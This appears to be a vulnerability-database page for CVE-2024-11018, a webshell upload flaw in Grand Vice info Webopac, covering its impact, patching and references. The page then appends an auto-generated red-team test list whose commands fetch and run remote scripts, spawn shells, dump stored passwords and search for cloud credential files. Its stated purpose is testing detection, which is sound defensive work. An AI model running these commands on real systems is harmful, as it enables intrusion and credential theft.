CVE-2024-11018
Overview
The vulnerability is an improper file upload validation flaw in the Grand Vice info Webopac system, specifically related to the file upload functionality. The root cause is the lack of adequate validation on uploaded file types, allowing unauthorized file formats to be accepted. This flaw resides in the component responsible for handling user-uploaded files within the Webopac application.
Vulnerability Description
Webopac from Grand Vice info does not properly validate uploaded file types, allowing unauthenticated remote attackers to upload and execute webshells, which could lead to arbitrary code execution on the server.
Impact
An unauthenticated remote attacker can upload and execute arbitrary webshell code on the vulnerable Webopac server, enabling full control over the affected system. This includes executing arbitrary commands, potentially leading to data compromise, system manipulation, or service disruption. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), increasing the attack surface and ease of exploitation. The high CVSS score (9.8) reflects the criticality of this remote code execution vector.
Solution
According to the vendor advisories published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-8213-3413b-1.html and https://www.twcert.org.tw/en/cp-139-8214-64fa2-2.html), users of Grand Vice info Webopac should apply the latest security patches released by the vendor that enforce strict file type validation on uploads. The advisories provide detailed patch instructions and recommend immediate update to the fixed versions. No workaround is officially documented; patching is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Webopac from Grand Vice Info stems from inadequate validation of uploaded file types. This flaw allows unauthenticated remote attackers to bypass security measures and upload malicious files, such as web shells, to the server. The lack of stringent checks means that attackers can exploit this weakness by submitting files with deceptive extensions or MIME types, which the application fails to recognize as harmful. Once the web shell is successfully uploaded, it provides the attacker with a backdoor into the server, enabling them to execute arbitrary code and potentially gain full control over the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may initiate the process by locating a vulnerable instance of Webopac and then crafting a malicious file, such as a PHP script disguised as an image or document. By leveraging social engineering tactics or automated scripts, the attacker can upload the file to the server without authentication. Once the file is on the server, the attacker can access it via a web browser, executing the code contained within the web shell. This scenario highlights the ease with which an attacker can compromise a server, especially if the application is exposed to the internet without adequate protections.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Webopac for library management or other critical functions. Successful exploitation can lead to unauthorized access to sensitive data, including user information, library records, and potentially other connected systems. The risk extends beyond immediate data theft; attackers can use the compromised server as a launching point for further attacks within the organization's network, leading to a broader security breach. The financial implications can also be severe, as organizations may face costs associated with incident response, system recovery, reputational damage, and potential regulatory fines if sensitive information is exposed.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, it is essential to conduct regular security assessments and vulnerability scans to identify instances of Webopac that may be running outdated or unpatched versions. Additionally, organizations should enforce strict file upload policies, including validating file types against a whitelist of acceptable formats and employing content inspection to analyze the file's actual content rather than relying solely on file extensions. Implementing web application firewalls (WAF) can also provide an additional layer of protection by filtering out malicious requests before they reach the application.
Furthermore, organizations should ensure that their incident response plans are robust and include specific procedures for handling web shell infections. Regular training for IT staff on identifying signs of compromise and responding to incidents can significantly reduce the time to detect and remediate such vulnerabilities. By adopting these strategies, organizations can better protect themselves against the risks posed by this vulnerability and enhance their overall cybersecurity posture.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vice | Webopac | All |
cpe:2.3:a:vice:webopac:*:*:*:*:*:*:*:*
|
|
|
Vice | Webopac | All |
cpe:2.3:a:vice:webopac:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11018 |
| twcert.org.tw |
GitHub CVE
vendor-advisory
|
https://www.twcert.org.tw/tw/cp-132-8213-3413b-1.html |
| twcert.org.tw |
GitHub CVE
vendor-advisory
|
https://www.twcert.org.tw/en/cp-139-8214-64fa2-2.html |